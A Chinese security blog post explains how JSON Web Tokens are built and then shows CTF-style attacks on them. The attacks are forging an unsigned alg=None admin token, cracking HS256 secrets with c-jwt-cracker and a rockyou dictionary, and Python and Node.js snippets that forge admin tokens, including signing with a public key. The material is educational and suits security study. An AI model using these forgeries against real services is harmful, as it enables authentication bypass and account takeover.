JWT入门

WEB安全基础 no tag February 10, 2021

JWT简述

JWT是什么？

JSON Web Token（缩写 JWT）是目前最流行的跨域认证解决方案.

JWT的原理

JWT 的原理是，服务器认证以后，生成一个 JSON 对象，发回给用户，就像下面这样。

{
  "姓名": "张三",
  "角色": "管理员",
  "到期时间": "2018年7月1日0点0分"
}

以后，用户与服务端通信的时候，都要发回这个 JSON 对象。服务器完全只靠这个对象认定用户身份。为了防止用户篡改数据，服务器在生成这个对象的时候，会加上签名（详见后文）。

服务器就不保存任何 session 数据了，也就是说，服务器变成无状态了，从而比较容易实现扩展。

JWT的数据结构

实际的 JWT 大概就像下面这样。

它是一个很长的字符串，中间用点（.）分隔成三个部分。注意，JWT 内部是没有换行的，这里只是为了便于展示，将它写成了几行。

JWT 的三个部分依次如下。

Header（头部）
Payload（负载）
Signature（签名）

写成一行，就是下面的样子。

Header.Payload.Signature

下面依次介绍这三个部分。

3.1 Header

Header 部分是一个 JSON 对象，描述 JWT 的元数据，通常是下面的样子。

{
  "alg": "HS256",
  "typ": "JWT"
}

上面代码中，alg属性表示签名的算法（algorithm），默认是 HMAC SHA256（写成 HS256）；typ属性表示这个令牌（token）的类型（type），JWT 令牌统一写为JWT。

最后，将上面的 JSON 对象使用 Base64URL 算法（详见后文）转成字符串。

3.2 Payload

Payload 部分也是一个 JSON 对象，用来存放实际需要传递的数据。JWT 规定了7个官方字段，供选用。

iss (issuer)：签发人
exp (expiration time)：过期时间
sub (subject)：主题
aud (audience)：受众
nbf (Not Before)：生效时间
iat (Issued At)：签发时间
jti (JWT ID)：编号

除了官方字段，你还可以在这个部分定义私有字段，下面就是一个例子。

{
  "sub": "1234567890",
  "name": "John Doe",
  "admin": true
}

注意，JWT 默认是不加密的，任何人都可以读到，所以不要把秘密信息放在这个部分。

这个 JSON 对象也要使用 Base64URL 算法转成字符串。

3.3 Signature

Signature 部分是对前两部分的签名，防止数据篡改。

首先，需要指定一个密钥（secret）。这个密钥只有服务器才知道，不能泄露给用户。然后，使用 Header 里面指定的签名算法（默认是 HMAC SHA256），按照下面的公式产生签名。

HMACSHA256(
  base64UrlEncode(header) + "." +
  base64UrlEncode(payload),
  secret)

算出签名以后，把 Header、Payload、Signature 三个部分拼成一个字符串，每个部分之间用"点"（.）分隔，就可以返回给用户。

3.4 Base64URL

前面提到，Header 和 Payload 串型化的算法是 Base64URL。这个算法跟 Base64 算法基本类似，但有一些小的不同。

JWT 作为一个令牌（token），有些场合可能会放到 URL（比如 api.example.com/?token=xxx）。Base64 有三个字符+、/和=，在 URL 里面有特殊含义，所以要被替换掉：=被省略、+替换成-，/替换成_ 。这就是 Base64URL 算法。

### JWT的使用方式

客户端收到服务器返回的 JWT，可以储存在 Cookie 里面，也可以储存在 localStorage。

此后，客户端每次与服务器通信，都要带上这个 JWT。你可以把它放在 Cookie 里面自动发送，但是这样不能跨域，所以更好的做法是放在 HTTP 请求的头信息Authorization字段里面。

Authorization: Bearer <token>

另一种做法是，跨域的时候，JWT 就放在 POST 请求的数据体里面。

关于jwt的文章 https://xz.aliyun.com/t/2338

https://www.anquanke.com/post/id/145540

最简单的jwt题

打开题目发现了有一个名为auth的cookie

eyJhbGciOiJOb25lIiwidHlwIjoiand0In0.W3siaXNzIjoiYWRtaW4iLCJpYXQiOjE2MTI5Mzc5MzYsImV4cCI6MTYxMjk0NTEzNiwibmJmIjoxNjEyOTM3OTM2LCJzdWIiOiJ1c2VyIiwianRpIjoiOGU3OGUyNTdlOTg5MTlmYWI5MDNjMWM1ZTYxMWM2NzcifV0

这里有一个专门解密JWT的网站https://jwt.io/，也可以直接使用base64解密。解密后为

{"alg":"None","typ":"jwt"}[{"iss":"admin","iat":1612937936,"exp":1612945136,"nbf":1612937936,"sub":"user","jti":"8e78e257e98919fab903c1c5e611c677"}]

从前置知识来看，alg为None，这个JWT是没有签名的JWT。

把sub那里改成admin就伪造成功了

爆破密钥

jwt爆破工具https://github.com/brendan-rius/c-jwt-cracker

git clone https://github.com/brendan-rius/c-jwt-cracker
cd c-jwt-cracker/
make
./jwtcrack eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJzdWIiOiIxMjM0NTY3ODkwIiwibmFtZSI6IkpvaG4gRG9lIiwiYWRtaW4iOnRydWV9.cAOIAifu3fykvhkHpbuhbvtH807-Z2rI1FS3vX1XMjE

jwt使用字典爆破https://github.com/Sjord/jwtcrack

python crackjwt.py JWT.txt rockyou.txt

Python加密jwt

import time
import jwt

# payload
token_dict = {
  "iss": "admin",
  "iat": 1610432484,
  "exp": 1610439684,
  "nbf": 1610432484,
  "sub": "admin",
  "jti": "efec0205f601a537847ee2dd3ffa81ff"
}

# headers
headers = {
  "alg": "none",
  "typ": "JWT"
}

jwt_token = jwt.encode(token_dict,  # payload, 有效载体 
                     key='',
                       headers=headers,  # json web token 数据结构包含两部分, payload(有效载体), headers(标头)
                        algorithm="none",  # 指明签名算法方式, 默认也是HS256
                       ).decode('ascii')  # python3 编码后得到 bytes, 再进行解码(指明解码的格式), 得到一个str

print(jwt_token)

Nodejs的jwt

const jwt = require('jsonwebtoken');
var fs = require('fs');
var privateKey = fs.readFileSync('public.key');
var token = jwt.sign({ user: 'admin' }, privateKey, { algorithm: 'HS256' });
console.log(token)

参考链接

https://xz.aliyun.com/t/2338